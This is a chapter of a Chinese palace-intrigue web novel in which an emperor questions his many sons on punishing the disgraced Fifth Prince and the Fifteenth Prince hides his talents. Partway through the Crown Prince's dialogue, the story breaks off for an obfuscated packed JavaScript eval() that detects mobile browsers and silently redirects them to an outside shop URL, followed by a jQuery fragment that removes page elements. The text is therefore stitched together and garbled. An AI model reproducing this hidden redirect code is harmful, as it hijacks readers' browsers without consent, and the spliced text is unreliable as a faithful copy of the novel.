8. 第 8 章
作品:《天幕剧透我是敌国皇帝的崽》 陆以时和其他的皇子,到的时间差不多。
进殿之后,便看到太医正为贞化帝诊脉。
太子关心道:“父皇身体如何?”
“没有大碍”,太医收回把脉的手,恭敬答道:“不过陛下近期要免于操劳,平心静气养神。臣也会给陛下开些调养身体的药,每日服用,七天左右便能够恢复。”
简单来说,就是贞化帝被天幕的话气到了,才晕过去。
太子看着坐在上位的人:“父皇注意保养身体。”
有太子在前,其他人也不能无动于衷,纷纷开口。
“朕就是被你们气出来的!”
贞化帝摆摆手,让太医下去,随后便说起正事:“今天把你们都叫过来,主要是想问问,你们对代王的事情,都是怎么看的?”
代王,就是五皇子。
这两天,朝臣基本都在讨论这件事。
有的朝臣希望严惩,毕竟按照天幕所言,五皇子罪无可恕,死不足惜,最好连其党羽一同铲除。
但也有的朝臣认为,天幕所言之事尚未发生。大理寺断案尚需要物证人证,五皇子还未犯错,不能随便处置,当然也不能重用。
贞化帝的问题出来,殿里面安静许多。
皇帝的儿子太多,整整站了两排。
陆以时和陆峤站在后面,被人挡地严严实实,很适合摸鱼充数。
贞化帝一一扫过自己的儿子们:“没有话说?”
陆以时心中吐槽,怎么可能,只是大家有话都不敢说罢了。
天幕里面还说过,贞化帝可是把在场的儿子都当棋子的。
哪怕所有人私底下不敢讨论,心底也是有意见的。
枪打出头鸟,若是和五皇子一样,被当成制衡的工具,后果指不定怎么惨呢。
贞化帝:“既然如此,那便一个一个地说,太子你先来。”
“回父皇”,太子出声道:“儿臣认为,天幕所言之事尚未发生,若是按照北宣律法,五皇子无罪。但如今众人皆知,也要给天下人一个交代。”
“不如将五皇子和其母族党羽,幽禁于王府之中,终身不得出。”
贞化帝又看向三皇子:“楚王怎么看?”
三皇子道:“儿臣认为,若是按照太子的办法,北河郡的军队和天下的百姓,并不会信服。”
他说话不疾不徐,言语却没有丝毫退让:“五皇子如今虽未铸成大错,但这不是代王之功,而是天幕之功。”
“若是未有天幕,北河五郡尽失,百姓流离失所,这便是三个月后的景象。”
不是三年,而是三个月之后。
三皇子微微俯身,给出自己的结论道:“代王不死,不足以平天下之怒。”
“再者,天幕不喜五皇子。若是我们处置不当,得罪了天幕,日后不再提及未来,便是因小失大。”
贞化帝之前未曾想到天幕,此刻却是听进去了。
他又问道:“那你认为,五皇子的母族和党羽又该怎么处置?”
五皇子主动请缨前往北河郡,背后定然有母族的推动。
但真正同意的人,可是皇帝。
该装傻的时候也要装傻,三皇子思索片刻道:“代王母妃及其家族,贬为庶人幽禁。其余之人,可让大理寺按律处理。”
贞化帝嗯了声,又看向下一个人:“平王你来说。”
“……”
看法基本只有两种,一种看法认为五皇子要死,另外一种看法是五皇子没必要死。
没什么新意。
五皇子彻底没了继承正统的机会,构不成威胁。因此想留他一命的人,倒是也有。
陆以时听着,小幅度地打了个哈欠。
又等了半个时辰左右,才轮到他这里。
陆以时十七岁,还未到封王的年龄,贞化帝看了他一会儿。
旁边站着的总管太监见状,连忙俯身于皇帝耳边,小声提醒了句。
贞化帝这才开口道:“十五,你来说。”
陆以时:“……”
得,这是连他的名字都不记得。
心里在吐槽,但他脸上的神情却表现地恰到好处。不仅有面对一朝皇帝的害怕,还有被点到名的些许惊喜,极为契合一个不受重视的皇子形象。
本还在怀疑他是不是宣太宗的其他人,见状也收回了视线。
不像啊不像。
这怎么可能是千古一帝。
贞化帝也是同样的想法。
陆以时:“回父皇,儿臣认为代王应该死。”
贞化帝:“如何讲?”
陆以时说出早已准备好的答案:“代王不死,则会让天下人寒心。”
“赵将军等人知道自己会被五皇子害死,边关的百姓在天幕中见过自己尸骨无存的画面,他们必然不希望代王还活着。”
他要藏拙,但也不至于说违心的话。
代王死了,好处多多。
留代王一命,只能浪费粮食。
贞化帝嗯了声,不走心地道:“说的不错,十七怎么想?”
陆峤没有想法,他只觉得自己肚子有点饿了。
但他知道,凡事跟着十五哥说准没错。
因此把陆以时的话简单改了改,道:“儿臣也认为,代王该死,给天下人一个交代。”
贞化帝:“朕怎么听着,这话有些耳熟?”
一旁的三皇子沉默:“……”
他在心中默默道,父皇你可算是发现了。
前面的人,还引经据典,绞尽脑汁把自己的想法包装包装。十五和十七倒是直接,直接捡着他说过的话回。
陆以时开口,道:“皇兄和皇弟们,出发点也都是为了北宣好,想到边关的将军士兵和百姓,也是理所当然。”
陆峤继续赞同:“是啊,父皇。”
有五皇子在前,贞化帝也没放在心上。
他现在只希望,自己的好儿子们不惹祸就行,让自己在天下人的面前少丢脸。
陆峤身旁的是十九皇子,今年十二岁。
贞化帝也懒得再听这些依葫芦画瓢的答案,便想考问考问他的功课:“小十九,你且说说《论语》之中‘其身正,不令而行;其身不正,虽令不从。’该如何理解?”
十九皇子愣在原地:“啊?”
他从半个时辰前,便在组织自己的答案。不求有功,但求无过。
谁知道轮到自己,怎么就突然换题了?!
这不对吧!
“没听到?”贞化帝的语气沉了沉。
十九皇子连忙摇头,回道:“父皇,儿臣听到了。”
若是皇帝面前走神,就是殿前失仪。
他欲哭无泪,只能尽力回答这个问题:“其身正,就是……就是君王自己便要行得正坐得端。若是君王自身不正,那……那即便君王要施行……施行政令,百姓也不会听从。”
磕磕绊绊,等到好不容易说完,十九皇子出了一身汗。
贞化帝又往后问了两位皇子,结果答得一个不如一个,释义牛头不对马嘴。
贞化帝:“……”
最开始听到天幕说自己孩子多,远胜南宣,他还是高兴的。
现在反倒开始后悔。
还不如只有一个孩子呢!
贞化帝脸色沉了沉,怒道:“四书五经,你们从三岁便开始读,就给朕读成这个样子?回去好好让太傅教导你们的功课,日后朕还会再考问。”
十九皇子和其他人应道:“……是,父皇。”
四书五经都背不通顺的人,定然不可能是什么宣太宗。
贞化帝也不再多言,转而对着其他人道:“朕派朝中官员,十日后护送物资前往北河郡,防备雪灾。你们这些天,也想想两月之后的雪灾,怎么能将损失尽量减少。每人都要写,整理成奏折呈上来。”
刮风下雪避免不了,但提前将物资送过去,让北河郡的百姓好过些,也能防备匈奴生事。
既然宣太宗日后成就斐然,那在治国理政上,必然也是有过人之处的,说不定能在这些奏折中看出些端倪。
想到这里,贞化帝又道:“你们自己想自己的,若是折子和其他人的太过相似,那就亲自给朕交代。”
没办法再抄作业的陆峤:“……”
殿里燃着银霜炭,出来之后,便躲不了寒风。
陆以时想早点回去,谁知道其他人都不紧不慢走着。
三皇子看着太子,寒暄道:“我看皇兄有些疲惫,莫不是这些天没有休息好?”
太子不躲不避:“代王之事尚未过去,我又怎能安心休息。”
十一皇子哼笑:“罪有应得,皇兄又何必忧虑。”
他母家和五皇子的母家不对付,如今看人遭了报应,心情自然好。
七皇子是太子一边的人,此刻道:“皇兄心中惦念着每位兄弟,忧虑也在所难免。”
陆以时看过去,说这话的人披着月白色的氅衣,谦谦君子模样,站在太子身旁。
九皇子看了他一眼,眼神里还带着些轻视,语气也极为挑衅:“关你什么事?”
呦呵,又有好戏看。
陆以时觉得在外面,也没有那么冷了。
七皇子不卑不亢,道:“九弟,关于北河郡雪灾之事,父皇让我们一起讨论解决,自然关我的事。”
若是九皇子否认,那便是否定贞化帝。
“哼”,九皇子似笑非笑道:“花言巧语,我可说不过你这种人。”
同样是皇子,也分高低贵贱。
他的母妃令妃出身京城世家,但七皇子的母妃却只是当时服侍令妃的小小宫女。
一时得到宠幸,麻雀飞上枝头,还比令妃先有孕。
对方自知得罪,转头投向皇后,梁子也结了下来。
因此每次见到七皇子,九皇子都不爽。
自己这边的人被冷嘲热讽,太子心里也不舒坦,出声道:“父皇还在殿里,九弟还是慎言。”
三皇子:“皇兄既然心中有各位弟弟,还是一视同仁地好。既然代王都能让皇兄忧虑,九弟一时失言,又何必这么严肃。”
“自然”,太子:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309905|198784||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过若是真的对兄长不敬,我也要尽到一份责任。”
九皇子哇一声,皮笑肉不笑地道:“真是情深义重。”
阴阳怪气的味道太重,陆以时努力压了压自己的唇角,才没被人注意到。
等回到自己宫里后,陆峤才忍不住道:“十五哥,他们吵得真厉害。”
陆以时给两人倒了杯茶:“从前不也是这样?”
“不一样啊!”
“哪里不一样?”
陆峤让身旁伺候的人下去,把门关紧后,才放低自己的声音:“天幕所说的宣太宗,应该就是下一位帝王吧。”
陆以时:“大概率。”
千年之后的记载,或许会在某些细节有偏差,但大事件基本都是正确的。
能获得“千古一帝”的评价,同时改革经济和政治,足以说明宣太宗不是碌碌无为之辈。
这种人无论遇到什么困难,都会有成就的。
“宣太宗就在我们几个兄弟之中”,陆峤皱了皱眉:“那他们怎么还吵架呢。”
“如果现在得罪了对方,之后的日子怎么过?”
正是这样,他才疑惑呢!
在小十七面前,陆以时也不用藏拙,简单给人解释了两句:“因为宣太宗是未来的,不是现在的。”
“他现在不过是普普通通的皇子,和你我没有什么不同。”
更何况,天幕还支持宣太宗篡位,贞化帝如今是欣喜多,还是猜疑多都不确定。
“好比代王之事,如果事情已经发生,父皇也不会纠结,直接将人诛杀即可。”
陆峤:“我明白了!”
天幕预测的是未来,但不一定不能改变。
“十五哥,你真聪明!”他又忍不住道。
什么问题,十五哥都能给出答案来。
陆以时不用猜,都知道他想说什么:“放心,我不会是宣太宗的。”
陆峤哼哼两声,不认同道:“天幕还没说是谁呢!”
“我对那个位置没有想法”,自己最了解自己,连当皇帝的心思都没有,又怎么可能是千古一帝。
陆峤能感觉出来,叹了口气:“如果十五哥想,说不定你能比宣太宗做的更好。”
陆以时忍不住笑:“小十七,滤镜太大了啊。”
陆峤凑近些问:“什么是滤镜?”
“意思是,你把我想的太厉害了!”
“哪有?”
陆以时不吃这套:“雪灾的折子自己想,父皇不让互相参考。”
陆峤:“……”
“还有”,陆以时将棋盘一推:“你又输了。”
“!!!”
陆峤不死心,非得赢一次:“十五哥,再来!”
……
三天后,贞化帝发布诏令,宣告天下。
五皇子及其直系母族全部处死,平时与之联系密切的官员,也都贬撤一级。
陆以时并不惊讶。
当时贞化帝问话的时候,就能看出来对方已经有了主意。
询问皇子们意见,也只是想观察观察自己的儿子罢了。
还有一件事,便是皇后在宫中设宴,请各位皇子参加。
看着宴会的帖子,陆峤问道:“十五哥,是不是一定要去啊?”
“是。”陆以时道。
若是皇后作主的宴会,不去没什么问题。
但今时不同往日,天幕结束没多久,皇后设宴,自然是贞化帝在背后授意的。
陆峤:“那我们回来再继续玩吧。”
“还没输够?”陆以时忍不住笑。
这两天他们除了写父皇要的奏折,余下的时间便都是在玩五子棋。
陆以时提醒道:“你殿里的东西,可是都快输光了。”
这还是他偶尔放水的情况。
陆峤仰头看天,假装听不到:“那是意外,下把我指定赢。”
“……行。”
此次设宴在御花园的亭子里。
除了宫里的人,不少大臣及其夫人也在,身旁还跟着年轻的男男女女,应该是大臣们的儿女。
皇子们的位置在前,两人简单给皇后和贵妃们行礼后,才结伴落座。
陆峤看着这么多人,脑子难得转了一次:“十五哥,这是不是想给人看亲?”
陆以时点头,很标准的大型多人相亲宴会。
“难道是因为天幕所说的那位要入赘南宣皇商的皇子?”
陆以时:“十有八九。”
“九哥和十一哥前年便娶了正妃,目前尚未定下的便是十二哥、十三哥和十四哥。”陆峤一边想一边说。
十二皇子和十三皇子是双胞胎,两人的婚事不能随便,最好还是一起办,因此这两年他们母妃也一直在寻找合适的人家。
十四皇子则刚成年,“再往下数的话,就是……”
陆以时接话道:“……我了?”
陆峤眼睛眨了眨:“该不会……”
陆以时:“想什么呢!”
当不成宣太宗,也不至于在这件事里面成为主角吧!

